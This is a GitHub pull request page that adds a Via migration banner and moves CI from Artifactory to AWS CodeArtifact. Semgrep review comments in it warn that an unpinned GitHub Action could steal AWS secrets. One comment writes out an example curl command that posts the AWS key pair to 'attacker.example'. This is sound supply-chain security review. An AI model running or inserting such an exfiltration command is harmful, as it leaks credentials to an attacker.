Skip to content

Automated PR: staging to main - #492

Merged
adamrasheed merged 2 commits into
mainfrom
staging
Aug 12, 2026
Merged

Automated PR: staging to main#492
adamrasheed merged 2 commits into
mainfrom
staging

Conversation

@adamrasheed

Copy link
Copy Markdown
Collaborator

No description provided.

* UXE-626: Add Via migration banner

Adds a dismissible banner announcing the shift from LeafyGreen to Via,
linking out to the Via docs/Storybook. Content strip-down is deferred
pending Design Systems sign-off on the cut list (see UXE-626 for the
proposed list).

* UXE-626: Update banner copy and Via Storybook URL
Copilot AI review requested due to automatic review settings August 7, 2026 18:01

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR introduces a new global announcement banner component and mounts it in the app template so users see a maintenance-mode notice with a link to Via.

Changes:

  • Add ViaAnnouncementBanner client component that displays a dismissible warning Banner and persists dismissal via localStorage.
  • Export the new banner from src/components/global/index.ts.
  • Render the banner at the top of the main template content area.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 2 comments.

File Description
src/components/global/ViaAnnouncementBanner.tsx Adds a dismissible, localStorage-persisted warning banner linking to Via.
src/components/global/index.ts Re-exports the new banner from the global components barrel.
src/app/template.tsx Mounts the banner above page content so it appears across the app.
Suppressed comments (1)

src/components/global/ViaAnnouncementBanner.tsx:31

  • localStorage.setItem can throw (e.g., quota exceeded / storage disabled). If it throws, the click handler will error and the banner may remain on screen. Consider catching storage write errors and still dismissing the banner in-memory.
      onClose={() => {
        localStorage.setItem(DISMISSED_KEY, 'true');
        setDismissed(true);
      }}

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +16 to +18
useEffect(() => {
setDismissed(localStorage.getItem(DISMISSED_KEY) === 'true');
}, []);
@@ -0,0 +1,52 @@
'use client';

import React, { useEffect, useState } from 'react';
* Migrate CI from Artifactory to AWS CodeArtifact

Artifactory has been decommissioned and is returning 503s, breaking every
CI job at `pnpm install` while fetching @lg-private packages.

Replaces the JFROG_AUTH-based .npmrc setup in all three on-pr jobs with
AWS CodeArtifact auth, mirroring the pattern already used in
mongodb/leafygreen-ui and 10gen/leafygreen-ui-private. Adds
scripts/login-codeartifact.sh so CI and local dev share one path.

Requires AWS_CODEARTIFACT_ACCESS_KEY_ID and AWS_CODEARTIFACT_SECRET_ACCESS_KEY
to be added as repo secrets before CI will pass.

Ref: https://wiki.corp.mongodb.com/spaces/DBDEVPROD/pages/314681038/Migration+from+Artifactory+to+AWS+CodeArtifact

* Switch CodeArtifact auth to OIDC role assumption

DevProd provisioned an IAM role instead of static keys. Use
role-to-assume with the required id-token permission, and pass
--domain-owner on the CodeArtifact calls per Vitalii's example
(DEVPROD-41210).

* Drop artifactory tarball URLs from lockfile

The 5 @lg-private entries had artifactory tarball URLs baked into
their resolutions, so pnpm went straight to the dead host regardless
of the registry config. Removing the tarball field lets pnpm derive
the URL from @lg-private:registry (now CodeArtifact) while the
integrity hashes still verify the contents.
env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials@v4 uses a mutable tag, so repointing v4 would let attacker-controlled code run in this PR workflow with the provided AWS credentials.

More details about this

Configure AWS credentials pulls aws-actions/configure-aws-credentials from the mutable @v4 tag instead of an exact commit. If the owner of that action, or anyone who compromises that repository, repoints v4 to a different commit, this pull request workflow will run the new code before scripts/login-codeartifact.sh and with access to AWS_CODEARTIFACT_ACCESS_KEY_ID and AWS_CODEARTIFACT_SECRET_ACCESS_KEY.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials action repository and moves the v4 tag to a malicious commit.
  2. A developer opens or updates a pull request, which triggers the on-pr workflow.
  3. The step uses: aws-actions/configure-aws-credentials@v4 downloads and executes the attacker-controlled action code.
  4. That code can read the AWS credentials passed in with.aws-access-key-id and with.aws-secret-access-key, then exfiltrate them with a request such as curl -X POST https://attacker.example/leak -d "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY".
  5. With those stolen credentials, the attacker can authenticate to AWS or CodeArtifact as this workflow and pull private packages or abuse whatever access those keys allow.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA for the exact release you intend to trust, for example aws-actions/configure-aws-credentials@<full-commit-sha>.
  2. Get that SHA from the v4 release in the aws-actions/configure-aws-credentials repository, and make sure you copy the full commit ID, not a short SHA, tag, or branch name.
  3. Keep the existing with: settings unchanged after the uses: update, for example uses: aws-actions/configure-aws-credentials@<40-char-sha>. Pinning to a commit prevents the action owner from silently moving v4 to different code later.
  4. Alternatively, if you need easier upgrades, add a comment next to the pinned SHA noting the human-friendly version it came from, such as # v4.x, while still keeping uses: pinned to the full commit SHA.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials is referenced by the mutable v4 tag, so a repointed tag could run attacker code and steal the AWS credentials passed to this step.

More details about this

aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, not a specific commit. In this job, that action receives secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID and secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY, so if the v4 tag were ever repointed to malicious code, the workflow would run the attacker’s version while configuring AWS access.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials release process or gains permission to move the v4 tag.
  2. They repoint v4 to a commit that adds a small credential-stealing step inside the action.
  3. Your Configure AWS credentials step runs uses: aws-actions/configure-aws-credentials@v4, so GitHub fetches the attacker-controlled code automatically.
  4. That code can read the AWS values passed in with: (aws-access-key-id, aws-secret-access-key, and region) and send them to an attacker-controlled server.
  5. With those exact credentials, the attacker can authenticate to AWS or CodeArtifact the same way this workflow does and pull private packages or use any other permissions attached to AWS_CODEARTIFACT_ACCESS_KEY_ID.

Because the reference is a tag, the workflow can change behavior without any diff in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: aws-actions/configure-aws-credentials@v4
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # aws-actions/configure-aws-credentials v4
View step-by-step instructions
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA for the exact release you want to trust, for example aws-actions/configure-aws-credentials@<full-commit-sha>.
  2. Keep the action name the same and change only the ref after @. This prevents the workflow from silently picking up a different action version if the v4 tag is moved later.
  3. Apply the same change to every occurrence of this action in the workflow file, since each uses: entry must be pinned independently.
  4. If you still want easy version upgrades later, add a comment next to the pinned SHA with the human-readable version, such as # aws-actions/configure-aws-credentials v4.x, while keeping the actual uses: value pinned to the full SHA.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

env:
JFROG_AUTH: ${{ secrets.JFROG_AUTH }}
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

aws-actions/configure-aws-credentials@v4 uses a movable tag, so a repointed action release could run new code and steal the AWS secrets passed into this step.

More details about this

aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, so this workflow will run whatever code the action owner later points v4 to. In this job, that action receives ${{ secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID }} and ${{ secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY }} before scripts/login-codeartifact.sh and pnpm install, so a repointed v4 release could read those secrets and use them to access your AWS CodeArtifact setup.

A plausible attack looks like this:

  1. An attacker compromises the aws-actions/configure-aws-credentials release process or maintainer account.
  2. They repoint the v4 tag to a new commit that adds credential-stealing code inside the action.
  3. Your workflow step uses: aws-actions/configure-aws-credentials@v4 automatically runs that new commit on the next build, with aws-access-key-id and aws-secret-access-key passed in from GitHub secrets.
  4. The malicious action sends those values to the attacker, for example with a hidden curl request.
  5. The attacker then uses the stolen AWS key pair to authenticate to the same AWS account resources this workflow uses, such as pulling private packages from CodeArtifact or making other API calls allowed to that IAM user.

Because the reference is @v4 instead of a full 40-character commit SHA, that code change can happen silently without any change to this repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference aws-actions/configure-aws-credentials@v4 with a full 40-character commit SHA from the aws-actions/configure-aws-credentials repository, for example aws-actions/configure-aws-credentials@<full-40-char-sha>.
  2. Keep the action name the same and change only the part after @ so the step still uses the same action, just pinned to an immutable revision.
  3. Choose the SHA that corresponds to the v4 release you intend to use, instead of a branch or tag name. Pinning to a commit prevents the action owner from silently changing what code runs later.
  4. Apply the same change to the other Configure AWS credentials step in this workflow if it also uses aws-actions/configure-aws-credentials@v4, so both jobs use the same pinned revision.

Alternatively, if you need easier version upgrades, use a dependency management tool such as Dependabot to update pinned GitHub Action SHAs automatically while still keeping uses: aws-actions/configure-aws-credentials@<full-40-char-sha>.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

@adamrasheed
adamrasheed added this pull request to the merge queue Aug 12, 2026
Merged via the queue into main with commit a25a4a4 Aug 12, 2026
11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants